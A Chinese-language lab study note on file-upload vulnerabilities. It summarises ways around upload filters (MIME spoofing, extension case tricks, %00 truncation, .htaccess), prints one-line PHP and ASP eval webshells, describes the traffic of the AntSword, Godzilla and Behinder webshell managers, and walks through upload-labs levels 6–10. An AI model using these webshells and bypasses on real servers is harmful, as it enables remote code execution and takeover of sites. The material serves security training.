一、文件上传防御手段及绕过手段总结
客户端js检测:禁用前端js或者修改前端js
服务端MIME检测:通过brup代理工具抓包修改提交http头部的content-type字段信息
服务端黑白名单扩展名检测:文件名大小写绕过、%00截断、将http包里将文件名改为test.asp.或test.asp_(此处下划线为空格)这种命名方式在windows系统自动去掉点和空格、.htaccess 文件攻击
服务端件头检测:在可上传的文件中插入木马代码,然后修改后缀、
服务端文件加载检测:对渲染/加载测试攻击 代码注入绕过
二、文件上传常用一句话木马
<?php @eval($_POST[cmd]);?>
<%eval request("cmd")%>
<%@Page Language="Jscript"%>
<%eval(Request.Item["cmd"])%>
三、三种webshell管理工具的使用方法
1.蚁剑
木马所在位置
配置代理
抓取流量信息
特点:使用URL编解码,响应包都是明文。
2.哥斯拉
Webshell所在位置
配置代理
抓取流量信息
流量特点
Post请求永远包含pass=,并以此开头
3.冰蝎
生成服务端
服务端所在位置
配置代理
抓取流量
流量特点
Accept字段固定、Content-Type固定
四、文件上传无回显如何查找webshell地址
通过dirmap去扫描网站资源查找目标文件
通过Webshell 检测工具查找webshell、
五、文件上传表单的无参/有参情况下构造表单
无参:
只需在表单中构造file的对应键和键值
有参:
不但需要构造file的对应键和键值,还要包含其他键的对应键和键值
六、upload-labs靶场通关第6-第10关
第六关:
拦截到数据包
发送到intruder,选择sniper,选择文件名后缀,对文件后缀进行枚举
根据响应包的渲染结果判断哪些shell脚本上传成功了
修改请求包的文件后缀大小写
再新建链接打开图像
复制其所在url
链接成功
第七关
上传木马并修改文件后缀
上传成功
复制所在连接位置到蚁剑中去并测试链接
第八关:
上传webshell木马
在拦截到的数据包中文件后缀添加. .
上传成功
打开文件所在位置
测试连接
第九关
在拦截到的包的文件后缀添加. .
上传成功
打开文件所在位置
测试链接
第十关
上传木马
修改请求
上传成功
测试链接